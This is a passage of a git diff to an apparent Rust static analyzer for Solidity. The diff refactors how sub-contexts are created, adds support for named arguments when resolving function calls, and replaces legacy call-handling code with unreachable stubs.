_ in 0..true_body { self.interpret_step(arena, true_subctx, loc, stack)?; } - // skip the false condition expressions - true_subctx.skip_n_exprs(false_body, self); + // skip the false body expressions + self.modify_edges(true_subctx, loc, &|analyzer, true_subctx| { + true_subctx.skip_n_exprs(false_body, analyzer); + Ok(()) + })?; // skip the true body expressions - false_subctx.skip_n_exprs(true_body, self); + self.modify_edges(false_subctx, loc, &|analyzer, false_subctx| { + false_subctx.skip_n_exprs(true_body, analyzer); + Ok(()) + })?; // parse the false body expressions for i in 0..false_body { self.interpret_step(arena, false_subctx, loc, stack)?; @@ -931,20 +954,27 @@ pub trait Flatten: &mut self, arena: &mut RangeArena>, ctx: ContextNode, + stack: &[FlatExpr], var: FlatExpr, + parse_idx: usize, ) -> Result<(), ExprErr> { let FlatExpr::Variable(loc, name) = var else { unreachable!() }; - let mut is_req = false; match self.take_expr_flag() { - Some(ExprFlag::FunctionName(n, super_call)) => { + Some(ExprFlag::FunctionName(n, super_call, named_args)) => { + let maybe_names = if named_args { + let start = parse_idx + 1; + Some(self.get_named_args(stack, start, n)) + } else { + None + }; let maybe_fn = if super_call { - self.find_super_func(arena, ctx, name.to_string(), n) + self.find_super_func(arena, ctx, name.to_string(), n, maybe_names) .into_expr_err(loc)? } else { - self.find_func(arena, ctx, name.to_string(), n) + self.find_func(arena, ctx, name.to_string(), n, maybe_names) .into_expr_err(loc)? }; @@ -1004,6 +1034,21 @@ pub trait Flatten: self.match_ty(ctx, loc, arr_ty) } + fn interp_array_idx( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + arr_idx: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::ArrayIndexAccess(loc) = arr_idx else { + unreachable!() + }; + let res = ctx.pop_n_latest_exprs(2, loc, self).into_expr_err(loc)?; + let [arr_ty, arr_idx] = into_sized(res); + + self.index_into_array_inner(arena, ctx, arr_ty.flatten(), arr_idx.flatten(), loc) + } + fn interp_named_func_call( &mut self, arena: &mut RangeArena>, @@ -1017,7 +1062,13 @@ pub trait Flatten: }; let names_start = parse_idx.saturating_sub(n); - let names = stack[names_start..parse_idx] + let names = self.get_named_args(stack, names_start, n); + + self.interp_func_call(arena, ctx, func_call, Some(names)) + } + + fn get_named_args(&self, stack: &[FlatExpr], start: usize, n: usize) -> Vec<&'static str> { + stack[start..start + n] .iter() .map(|named_arg| { let FlatExpr::NamedArgument(_, name) = named_arg else { @@ -1025,9 +1076,7 @@ pub trait Flatten: }; *name }) - .collect::>(); - - self.interp_func_call(arena, ctx, func_call, Some(names)) + .collect::>() } fn interp_func_call( @@ -1061,10 +1110,6 @@ pub trait Flatten: _ => false, }; - func_and_inputs[1..].iter().for_each(|i| { - println!("here: {}", i.debug_str(self)); - }); - // order the named inputs let inputs = if n > 0 { let res = if let Some(input_names) = input_names { @@ -1137,13 +1182,13 @@ pub trait Flatten: VarType::User(TypeNode::Struct(s), _) => { self.construct_struct_inner(arena, ctx, s, inputs, loc) } - VarType::User(TypeNode::Contract(s), _) => { + VarType::User(TypeNode::Contract(_), _) => { unreachable!("should be unreachable: contract") } VarType::User(TypeNode::Func(s), _) => { if self.builtin_fn_nodes().iter().any(|(_, v)| *v == func) { // its a builtin function call - self.call_builtin(arena, ctx, &*s.name(self).into_expr_err(loc)?, inputs, loc) + self.call_builtin(arena, ctx, &s.name(self).into_expr_err(loc)?, inputs, loc) } else { self.func_call(arena, ctx, loc, &inputs, s, None, None) } @@ -1200,6 +1245,36 @@ pub trait Flatten: } } + fn modify_edges( + &mut self, + ctx: ContextNode, + loc: Loc, + closure: &impl Fn(&mut Self, ContextNode) -> Result<(), GraphError>, + ) -> Result<(), ExprErr> { + let live_edges = ctx.live_edges(self).into_expr_err(loc)?; + if !ctx.killed_or_ret(self).into_expr_err(loc)? { + if ctx.underlying(self).into_expr_err(loc)?.child.is_some() { + if live_edges.is_empty() { + Ok(()) + } else { + live_edges + .iter() + .try_for_each(|ctx| closure(self, *ctx)) + .into_expr_err(loc) + } + } else if live_edges.is_empty() { + closure(self, ctx).into_expr_err(loc) + } else { + live_edges + .iter() + .try_for_each(|ctx| closure(self, *ctx)) + .into_expr_err(loc) + } + } else { + Ok(()) + } + } + /// Apply an expression or statement to all *live* edges of a context. This is used everywhere /// to ensure we only ever update *live* contexts. If a context has a subcontext, we *never* /// want to update the original context. We only ever want to operate on the latest edges. diff --git a/crates/solc-expressions/src/context_builder/stmt.rs b/crates/solc-expressions/src/context_builder/stmt.rs index 3f0a5f36..66307dc5 100644 --- a/crates/solc-expressions/src/context_builder/stmt.rs +++ b/crates/solc-expressions/src/context_builder/stmt.rs @@ -142,7 +142,7 @@ pub trait StatementParser: // ctx_node // } // Node::Context(_) => { - // // let ctx = Context::new_subctx( + // // let ctx = Context::add_subctx( // // ContextNode::from(parent.into()), // // *loc, // // false, diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index 4d91d285..a5b289c2 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -426,7 +426,7 @@ pub trait FuncCaller: } } else { let subctx_kind = SubContextKind::new_fn_ret(callee_ctx, caller_ctx); - let ret_ctx = Context::new_subctx( + let ret_subctx = Context::add_subctx( subctx_kind, loc, self, @@ -437,7 +437,6 @@ pub trait FuncCaller: .clone(), ) .unwrap(); - let ret_subctx = ContextNode::from(self.add_node(Node::Context(ret_ctx))); let res = callee_ctx .set_child_call(ret_subctx, self) diff --git a/crates/solc-expressions/src/func_call/helper.rs b/crates/solc-expressions/src/func_call/helper.rs index 24872ba0..e9bf44dd 100644 --- a/crates/solc-expressions/src/func_call/helper.rs +++ b/crates/solc-expressions/src/func_call/helper.rs @@ -177,8 +177,8 @@ pub trait CallerHelper: AnalyzerBackend + } let subctx_kind = SubContextKind::new_fn_call(curr_ctx, None, func_node, fn_ext); - let ctx = Context::new_subctx(subctx_kind, loc, self, modifier_state).into_expr_err(loc)?; - let callee_ctx = ContextNode::from(self.add_node(Node::Context(ctx))); + let callee_ctx = + Context::add_subctx(subctx_kind, loc, self, modifier_state).into_expr_err(loc)?; curr_ctx .set_child_call(callee_ctx, self) .into_expr_err(loc)?; @@ -201,18 +201,21 @@ pub trait CallerHelper: AnalyzerBackend + literals: Vec, input_paths: &ExprRet, funcs: &[FunctionNode], + maybe_names: Option>, ) -> Option { let input_paths = input_paths.clone().flatten(); // try to find the function based on naive signature // This doesnt do type inference on NumberLiterals (i.e. 100 could be uintX or intX, and there could // be a function that takes an int256 but we evaled as uint256) - let fn_sig = format!( - "{}{}", - fn_name, - input_paths.try_as_func_input_str(self, arena) - ); - if let Some(func) = funcs.iter().find(|func| func.name(self).unwrap() == fn_sig) { - return Some(*func); + if maybe_names.is_none() { + let fn_sig = format!( + "{}{}", + fn_name, + input_paths.try_as_func_input_str(self, arena) + ); + if let Some(func) = funcs.iter().find(|func| func.name(self).unwrap() == fn_sig) { + return Some(*func); + } } // filter by input len @@ -233,16 +236,45 @@ pub trait CallerHelper: AnalyzerBackend + .iter() .filter(|func| { let params = func.params(self); + let ordered_names = func.ordered_param_names(self); + + let mut tmp_inputs: Vec = vec![]; + let mut tmp_literals = vec![]; + tmp_literals.resize(literals.len(), false); + tmp_inputs.resize(inputs.len(), 0.into()); + if let Some(ref input_names) = maybe_names { + if &ordered_names[..] != input_names { + let mapping = ordered_names + .iter() + .enumerate() + .filter_map(|(i, n)| { + Some((input_names.iter().position(|k| k == n)?, i)) + }) + .collect::>(); + inputs.iter().enumerate().for_each(|(i, ret)| { + let target_idx = mapping[&i]; + tmp_inputs[target_idx] = *ret; + tmp_literals[target_idx] = literals[i]; + }); + } else { + tmp_inputs = inputs.clone(); + tmp_literals = literals.clone(); + } + } else { + tmp_inputs = inputs.clone(); + tmp_literals = literals.clone(); + } + params .iter() - .zip(&inputs) + .zip(&tmp_inputs) .enumerate() .all(|(i, (param, input))| { let param_ty = VarType::try_from_idx(self, (*param).into()).unwrap(); let input_ty = ContextVarNode::from(*input).ty(self).unwrap(); if param_ty.ty_eq(input_ty, self).unwrap() { true - } else if literals[i] { + } else if tmp_literals[i] { let possibilities = ContextVarNode::from(*input) .ty(self) .unwrap() @@ -336,7 +368,7 @@ pub trait CallerHelper: AnalyzerBackend + } let subctx_kind = SubContextKind::new_fn_ret(callee_ctx, caller_ctx); - let ctx = Context::new_subctx( + let ret_subctx = Context::add_subctx( subctx_kind, loc, self, @@ -347,7 +379,6 @@ pub trait CallerHelper: AnalyzerBackend + .clone(), ) .into_expr_err(loc)?; - let ret_subctx = ContextNode::from(self.add_node(Node::Context(ctx))); let res = callee_ctx .set_child_call(ret_subctx, self) .into_expr_err(loc); diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index d84d5ff2..78c5e46f 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -187,6 +187,7 @@ pub trait InternalFuncCaller: ctx: ContextNode, name: String, num_inputs: usize, + maybe_named: Option>, ) -> Result, GraphError> { if let Some(contract) = ctx.maybe_associated_contract(self)? { let supers = contract.super_contracts(self); @@ -198,13 +199,28 @@ pub trait InternalFuncCaller: .ok()? .into_iter() .find(|(func_name, func_node)| { - func_name.starts_with(&name) - && func_node.params(self).len() == num_inputs + if !func_name.starts_with(&name) { + return false; + } + + let params = func_node.params(self); + + if params.len() != num_inputs { + return false; + } + + if let Some(ref named) = maybe_named { + params + .iter() + .all(|param| named.contains(&&*param.name(self).unwrap())) + } else { + true + } }) .map(|(_, node)| node) }) .collect(); - self.find_func_inner(arena, ctx, name, num_inputs, possible_funcs) + self.find_func_inner(arena, ctx, name, num_inputs, possible_funcs, maybe_named) } else { Ok(None) } @@ -216,6 +232,7 @@ pub trait InternalFuncCaller: ctx: ContextNode, name: String, num_inputs: usize, + maybe_named: Option>, ) -> Result, GraphError> { let funcs = ctx.visible_funcs(self)?; let possible_funcs = funcs @@ -225,9 +242,18 @@ pub trait InternalFuncCaller: // filter by params func.params(self).len() == num_inputs }) + .filter(|func| { + if let Some(ref named) = maybe_named { + func.params(self) + .iter() + .all(|param| named.contains(&&*param.name(self).unwrap())) + } else { + true + } + }) .copied() .collect::>(); - self.find_func_inner(arena, ctx, name, num_inputs, possible_funcs) + self.find_func_inner(arena, ctx, name, num_inputs, possible_funcs, maybe_named) } fn find_func_inner( @@ -237,6 +263,7 @@ pub trait InternalFuncCaller: name: String, num_inputs: usize, possible_funcs: Vec, + maybe_named: Option>, ) -> Result, GraphError> { match possible_funcs.len() { 0 => Ok(None), @@ -275,7 +302,14 @@ pub trait InternalFuncCaller: .collect(); let inputs = ExprRet::Multi(inputs.to_vec()); - Ok(self.disambiguate_fn_call(arena, &name, resizeables, &inputs, &possible_funcs)) + Ok(self.disambiguate_fn_call( + arena, + &name, + resizeables, + &inputs, + &possible_funcs, + maybe_named, + )) } } } @@ -290,138 +324,139 @@ pub trait InternalFuncCaller: func_expr: &Expression, input_exprs: NamedOrUnnamedArgs, ) -> Result<(), ExprErr> { - tracing::trace!("function call: {}(..)", ident.name); - // It is a function call, check if we have the ident in scope - let funcs = ctx.visible_funcs(self).into_expr_err(*loc)?; + unreachable!("Should not have called this"); + // tracing::trace!("function call: {}(..)", ident.name); + // // It is a function call, check if we have the ident in scope + // let funcs = ctx.visible_funcs(self).into_expr_err(*loc)?; - // filter down all funcs to those that match - let possible_funcs = funcs - .iter() - .filter(|func| { - let named_correctly = func - .name(self) - .unwrap() - .starts_with(&format!("{}(", ident.name)); - if !named_correctly { - false - } else { - // filter by params - let params = func.params(self); - if params.len() != input_exprs.len() { - false - } else if matches!(input_exprs, NamedOrUnnamedArgs::Named(_)) { - params.iter().all(|param| { - input_exprs - .named_args() - .unwrap() - .iter() - .any(|input| input.name.name == param.name(self).unwrap()) - }) - } else { - true - } - } - }) - .copied() - .collect::>(); + // // filter down all funcs to those that match + // let possible_funcs = funcs + // .iter() + // .filter(|func| { + // let named_correctly = func + // .name(self) + // .unwrap() + // .starts_with(&format!("{}(", ident.name)); + // if !named_correctly { + // false + // } else { + // // filter by params + // let params = func.params(self); + // if params.len() != input_exprs.len() { + // false + // } else if matches!(input_exprs, NamedOrUnnamedArgs::Named(_)) { + // params.iter().all(|param| { + // input_exprs + // .named_args() + // .unwrap() + // .iter() + // .any(|input| input.name.name == param.name(self).unwrap()) + // }) + // } else { + // true + // } + // } + // }) + // .copied() + // .collect::>(); - match possible_funcs.len() { - 0 => { - // this is a builtin, cast, or unknown function - self.parse_ctx_expr(arena, func_expr, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let ret = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - .unwrap_or_else(|| ExprRet::Multi(vec![])); - let ret = ret.flatten(); - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - unreachable!() - }) - } - 1 => { - // there is only a single possible function - input_exprs.parse(arena, self, ctx, *loc)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let mut inputs = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - .unwrap_or_else(|| ExprRet::Multi(vec![])); - inputs = if let Some(ordered_param_names) = - possible_funcs[0].maybe_ordered_param_names(analyzer) - { - input_exprs.order(inputs, ordered_param_names) - } else { - inputs - }; - let inputs = inputs.flatten(); - if matches!(inputs, ExprRet::CtxKilled(_)) { - ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.setup_fn_call( - arena, - &ident.loc, - &inputs, - (possible_funcs[0]).into(), - ctx, - None, - ) - }) - } - _ => { - // this is the annoying case due to function overloading & type inference on number literals - input_exprs.parse(arena, self, ctx, *loc)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let inputs = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - .unwrap_or_else(|| ExprRet::Multi(vec![])); - let inputs = inputs.flatten(); - if matches!(inputs, ExprRet::CtxKilled(_)) { - ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let resizeables: Vec<_> = inputs.as_flat_vec() - .iter() - .map(|idx| { - match VarType::try_from_idx(analyzer, *idx) { - Some(VarType::BuiltIn(bn, _)) => { - matches!(analyzer.node(bn), Node::Builtin(Builtin::Uint(_)) | Node::Builtin(Builtin::Int(_)) | Node::Builtin(Builtin::Bytes(_))) - } - Some(VarType::Concrete(c)) => { - matches!(analyzer.node(c), Node::Concrete(Concrete::Uint(_, _)) | Node::Concrete(Concrete::Int(_, _)) | Node::Concrete(Concrete::Bytes(_, _))) - } - _ => false - } - }) - .collect(); - if let Some(func) = analyzer.disambiguate_fn_call( - arena, - &ident.name, - resizeables, - &inputs, - &possible_funcs, - ) { - analyzer.setup_fn_call(arena, &loc, &inputs, func.into(), ctx, None) - } else { - Err(ExprErr::FunctionNotFound( - loc, - format!( - "Could not disambiguate function, default input types: {}, possible functions: {:#?}", - inputs.try_as_func_input_str(analyzer, arena), - possible_funcs - .iter() - .map(|i| i.name(analyzer).unwrap()) - .collect::>() - ), - )) - } - }) - } - } + // match possible_funcs.len() { + // 0 => { + // // this is a builtin, cast, or unknown function + // self.parse_ctx_expr(arena, func_expr, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let ret = ctx + // .pop_expr_latest(loc, analyzer) + // .into_expr_err(loc)? + // .unwrap_or_else(|| ExprRet::Multi(vec![])); + // let ret = ret.flatten(); + // if matches!(ret, ExprRet::CtxKilled(_)) { + // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // unreachable!() + // }) + // } + // 1 => { + // // there is only a single possible function + // input_exprs.parse(arena, self, ctx, *loc)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let mut inputs = ctx + // .pop_expr_latest(loc, analyzer) + // .into_expr_err(loc)? + // .unwrap_or_else(|| ExprRet::Multi(vec![])); + // inputs = if let Some(ordered_param_names) = + // possible_funcs[0].maybe_ordered_param_names(analyzer) + // { + // input_exprs.order(inputs, ordered_param_names) + // } else { + // inputs + // }; + // let inputs = inputs.flatten(); + // if matches!(inputs, ExprRet::CtxKilled(_)) { + // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.setup_fn_call( + // arena, + // &ident.loc, + // &inputs, + // (possible_funcs[0]).into(), + // ctx, + // None, + // ) + // }) + // } + // _ => { + // // this is the annoying case due to function overloading & type inference on number literals + // input_exprs.parse(arena, self, ctx, *loc)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let inputs = ctx + // .pop_expr_latest(loc, analyzer) + // .into_expr_err(loc)? + // .unwrap_or_else(|| ExprRet::Multi(vec![])); + // let inputs = inputs.flatten(); + // if matches!(inputs, ExprRet::CtxKilled(_)) { + // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // let resizeables: Vec<_> = inputs.as_flat_vec() + // .iter() + // .map(|idx| { + // match VarType::try_from_idx(analyzer, *idx) { + // Some(VarType::BuiltIn(bn, _)) => { + // matches!(analyzer.node(bn), Node::Builtin(Builtin::Uint(_)) | Node::Builtin(Builtin::Int(_)) | Node::Builtin(Builtin::Bytes(_))) + // } + // Some(VarType::Concrete(c)) => { + // matches!(analyzer.node(c), Node::Concrete(Concrete::Uint(_, _)) | Node::Concrete(Concrete::Int(_, _)) | Node::Concrete(Concrete::Bytes(_, _))) + // } + // _ => false + // } + // }) + // .collect(); + // if let Some(func) = analyzer.disambiguate_fn_call( + // arena, + // &ident.name, + // resizeables, + // &inputs, + // &possible_funcs, + // ) { + // analyzer.setup_fn_call(arena, &loc, &inputs, func.into(), ctx, None) + // } else { + // Err(ExprErr::FunctionNotFound( + // loc, + // format!( + // "Could not disambiguate function, default input types: {}, possible functions: {:#?}", + // inputs.try_as_func_input_str(analyzer, arena), + // possible_funcs + // .iter() + // .map(|i| i.name(analyzer).unwrap()) + // .collect::>() + // ), + // )) + // } + // }) + // } + // } } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs b/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs index efb29d0a..dc27c2f1 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs @@ -58,8 +58,8 @@ pub trait PrecompileCaller: "ecrecover" => { let func_idx = *(self.builtin_fn_nodes().get("ecrecover").unwrap()); let subctx_kind = SubContextKind::new_fn_call(ctx, None, func_idx.into(), true); - let cctx = Context::new_subctx(subctx_kind, loc, self, None).into_expr_err(loc)?; - let call_ctx = self.add_node(Node::Context(cctx)); + let call_ctx = + Context::add_subctx(subctx_kind, loc, self, None).into_expr_err(loc)?; ctx.set_child_call(call_ctx.into(), self) .into_expr_err(loc)?; let call_node = self.add_node(Node::FunctionCall); @@ -93,8 +93,8 @@ pub trait PrecompileCaller: .into_expr_err(loc)?; let subctx_kind = SubContextKind::new_fn_ret(call_ctx.into(), ctx); - let rctx = Context::new_subctx(subctx_kind, loc, self, None).into_expr_err(loc)?; - let ret_ctx = self.add_node(Node::Context(rctx)); + let ret_ctx = + Context::add_subctx(subctx_kind, loc, self, None).into_expr_err(loc)?; ContextNode::from(call_ctx) .set_child_call(ret_ctx.into(), self) .into_expr_err(loc)?; diff --git a/crates/solc-expressions/src/func_call/modifier.rs b/crates/solc-expressions/src/func_call/modifier.rs index ab052281..660fbd73 100644 --- a/crates/solc-expressions/src/func_call/modifier.rs +++ b/crates/solc-expressions/src/func_call/modifier.rs @@ -118,15 +118,13 @@ pub trait ModifierCaller: mods[mstate.num], false, ); - let pctx = Context::new_subctx( + let new_parent_subctx = Context::add_subctx( subctx_kind, loc, analyzer, Some(modifier_state.clone()), ) .unwrap(); - let new_parent_subctx = - ContextNode::from(analyzer.add_node(Node::Context(pctx))); ctx.set_child_call(new_parent_subctx, analyzer) .into_expr_err(modifier_state.loc)?; @@ -150,10 +148,9 @@ pub trait ModifierCaller: false, ); - let pctx = Context::new_subctx(subctx_kind, modifier_state.loc, analyzer, None) - .unwrap(); let new_parent_subctx = - ContextNode::from(analyzer.add_node(Node::Context(pctx))); + Context::add_subctx(subctx_kind, modifier_state.loc, analyzer, None) + .unwrap(); ctx.set_child_call(new_parent_subctx, analyzer) .into_expr_err(modifier_state.loc)?; @@ -195,11 +192,9 @@ pub trait ModifierCaller: .iter() .map(|expr| { let subctx_kind = SubContextKind::new_dummy(ctx); - let mctx = - Context::new_subctx(subctx_kind, Loc::Implicit, self, None) - .into_expr_err(Loc::Implicit)?; let callee_ctx = - ContextNode::from(self.add_node(Node::Context(mctx))); + Context::add_subctx(subctx_kind, Loc::Implicit, self, None) + .into_expr_err(Loc::Implicit)?; let _res = ctx.set_child_call(callee_ctx, self); self.parse_ctx_expr(arena, expr, callee_ctx)?; let f: Vec = self.take_from_edge( diff --git a/crates/solc-expressions/src/func_call/namespaced_call.rs b/crates/solc-expressions/src/func_call/namespaced_call.rs index 866025d2..a17cc0c5 100644 --- a/crates/solc-expressions/src/func_call/namespaced_call.rs +++ b/crates/solc-expressions/src/func_call/namespaced_call.rs @@ -41,132 +41,134 @@ pub trait NameSpaceFuncCaller: ident: &Identifier, input_exprs: NamedOrUnnamedArgs, ) -> Result<(), ExprErr> { - use solang_parser::pt::Expression::*; - tracing::trace!("Calling name spaced function"); - if let Variable(Identifier { name, .. }) = member_expr { - if name == "abi" { - let func_name = format!("abi.{}", ident.name); - let fn_node = self - .builtin_fn_or_maybe_add(&func_name) - .unwrap_or_else(|| panic!("No builtin function with name {func_name}")); - unreachable!() - } else if name == "super" { - if let Some(contract) = ctx.maybe_associated_contract(self).into_expr_err(*loc)? { - let supers = contract.super_contracts(self); - let possible_funcs: Vec<_> = supers - .iter() - .filter_map(|con_node| { - con_node - .linearized_functions(self) - .ok()? - .into_iter() - .find(|(func_name, _func_node)| func_name.starts_with(&ident.name)) - .map(|(_, node)| node) - }) - .collect(); + unreachable!("Should not have reached this"); + // use solang_parser::pt::Expression::*; + // tracing::trace!("Calling name spaced function"); + // if let Variable(Identifier { name, .. }) = member_expr { + // if name == "abi" { + // let func_name = format!("abi.{}", ident.name); + // let fn_node = self + // .builtin_fn_or_maybe_add(&func_name) + // .unwrap_or_else(|| panic!("No builtin function with name {func_name}")); + // unreachable!() + // } else if name == "super" { + // if let Some(contract) = ctx.maybe_associated_contract(self).into_expr_err(*loc)? { + // let supers = contract.super_contracts(self); + // let possible_funcs: Vec<_> = supers + // .iter() + // .filter_map(|con_node| { + // con_node + // .linearized_functions(self) + // .ok()? + // .into_iter() + // .find(|(func_name, _func_node)| func_name.starts_with(&ident.name)) + // .map(|(_, node)| node) + // }) + // .collect(); - if possible_funcs.is_empty() { - return Err(ExprErr::FunctionNotFound( - *loc, - "Could not find function in super".to_string(), - )); - } - input_exprs.parse(arena, self, ctx, *loc)?; - return self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let inputs = if let Some(inputs) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - { - inputs - } else { - ExprRet::Multi(vec![]) - }; - if possible_funcs.len() == 1 { - let mut inputs = if let Some(ordered_param_names) = - possible_funcs[0].maybe_ordered_param_names(analyzer) - { - input_exprs.order(inputs, ordered_param_names).as_vec() - } else { - inputs.as_vec() - }; - let func = possible_funcs[0]; - if func.params(analyzer).len() < inputs.len() { - inputs = inputs[1..].to_vec(); - } - let inputs = ExprRet::Multi(inputs); - if inputs.has_killed() { - return ctx - .kill(analyzer, loc, inputs.killed_kind().unwrap()) - .into_expr_err(loc); - } - analyzer.setup_fn_call( - arena, - &ident.loc, - &inputs, - func.into(), - ctx, - None, - ) - } else { - // this is the annoying case due to function overloading & type inference on number literals - let mut lits = vec![false]; - lits.extend( - input_exprs - .exprs() - .iter() - .map(|expr| { - match expr { - Negate(_, expr) => { - // negative number potentially - matches!(**expr, NumberLiteral(..) | HexLiteral(..)) - } - NumberLiteral(..) | HexLiteral(..) => true, - _ => false, - } - }) - .collect::>(), - ); + // if possible_funcs.is_empty() { + // return Err(ExprErr::FunctionNotFound( + // *loc, + // "Could not find function in super".to_string(), + // )); + // } + // input_exprs.parse(arena, self, ctx, *loc)?; + // return self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let inputs = if let Some(inputs) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // { + // inputs + // } else { + // ExprRet::Multi(vec![]) + // }; + // if possible_funcs.len() == 1 { + // let mut inputs = if let Some(ordered_param_names) = + // possible_funcs[0].maybe_ordered_param_names(analyzer) + // { + // input_exprs.order(inputs, ordered_param_names).as_vec() + // } else { + // inputs.as_vec() + // }; + // let func = possible_funcs[0]; + // if func.params(analyzer).len() < inputs.len() { + // inputs = inputs[1..].to_vec(); + // } + // let inputs = ExprRet::Multi(inputs); + // if inputs.has_killed() { + // return ctx + // .kill(analyzer, loc, inputs.killed_kind().unwrap()) + // .into_expr_err(loc); + // } + // analyzer.setup_fn_call( + // arena, + // &ident.loc, + // &inputs, + // func.into(), + // ctx, + // None, + // ) + // } else { + // // this is the annoying case due to function overloading & type inference on number literals + // let mut lits = vec![false]; + // lits.extend( + // input_exprs + // .exprs() + // .iter() + // .map(|expr| { + // match expr { + // Negate(_, expr) => { + // // negative number potentially + // matches!(**expr, NumberLiteral(..) | HexLiteral(..)) + // } + // NumberLiteral(..) | HexLiteral(..) => true, + // _ => false, + // } + // }) + // .collect::>(), + // ); - if inputs.has_killed() { - return ctx - .kill(analyzer, loc, inputs.killed_kind().unwrap()) - .into_expr_err(loc); - } - if let Some(func) = analyzer.disambiguate_fn_call( - arena, - &ident.name, - lits, - &inputs, - &possible_funcs, - ) { - analyzer.setup_fn_call(arena, &loc, &inputs, func.into(), ctx, None) - } else { - Err(ExprErr::FunctionNotFound( - loc, - "Could not find function in super".to_string(), - )) - } - } - }); - } - } - } + // if inputs.has_killed() { + // return ctx + // .kill(analyzer, loc, inputs.killed_kind().unwrap()) + // .into_expr_err(loc); + // } + // if let Some(func) = analyzer.disambiguate_fn_call( + // arena, + // &ident.name, + // lits, + // &inputs, + // &possible_funcs, + // None, + // ) { + // analyzer.setup_fn_call(arena, &loc, &inputs, func.into(), ctx, None) + // } else { + // Err(ExprErr::FunctionNotFound( + // loc, + // "Could not find function in super".to_string(), + // )) + // } + // } + // }); + // } + // } + // } - self.parse_ctx_expr(arena, member_expr, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Namespace function call had no namespace".to_string(), - )); - }; + // self.parse_ctx_expr(arena, member_expr, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { + // return Err(ExprErr::NoLhs( + // loc, + // "Namespace function call had no namespace".to_string(), + // )); + // }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } + // if matches!(ret, ExprRet::CtxKilled(_)) { + // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } - analyzer.match_namespaced_member(arena, ctx, loc, member_expr, ident, &input_exprs, ret) - }) + // analyzer.match_namespaced_member(arena, ctx, loc, member_expr, ident, &input_exprs, ret) + // }) } /// Match the expression return for getting the member node @@ -216,327 +218,328 @@ pub trait NameSpaceFuncCaller: member: NodeIdx, member_is_lit: bool, ) -> Result<(), ExprErr> { - use solang_parser::pt::Expression::*; - tracing::trace!( - "namespaced function call: {:?}.{:?}(..)", - ContextVarNode::from(member).display_name(self), - ident.name - ); + unreachable!("Should not have called this"); + // use solang_parser::pt::Expression::*; + // tracing::trace!( + // "namespaced function call: {:?}.{:?}(..)", + // ContextVarNode::from(member).display_name(self), + // ident.name + // ); - let funcs = self.visible_member_funcs(ctx, loc, member)?; - // filter down all funcs to those that match - let possible_funcs = funcs - .iter() - .filter(|func| { - func.name(self) - .unwrap() - .starts_with(&format!("{}(", ident.name)) - }) - .copied() - .collect::>(); + // let funcs = self.visible_member_funcs(ctx, loc, member)?; + // // filter down all funcs to those that match + // let possible_funcs = funcs + // .iter() + // .filter(|func| { + // func.name(self) + // .unwrap() + // .starts_with(&format!("{}(", ident.name)) + // }) + // .copied() + // .collect::>(); - ctx.push_expr(ExprRet::Single(member), self) - .into_expr_err(loc)?; + // ctx.push_expr(ExprRet::Single(member), self) + // .into_expr_err(loc)?; - input_exprs.parse(arena, self, ctx, loc)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(mut inputs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Namespace function call had no inputs".to_string(), - )); - }; + // input_exprs.parse(arena, self, ctx, loc)?; + // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(mut inputs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { + // return Err(ExprErr::NoLhs( + // loc, + // "Namespace function call had no inputs".to_string(), + // )); + // }; - if matches!(inputs, ExprRet::CtxKilled(_)) { - ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - return Ok(()); - } - 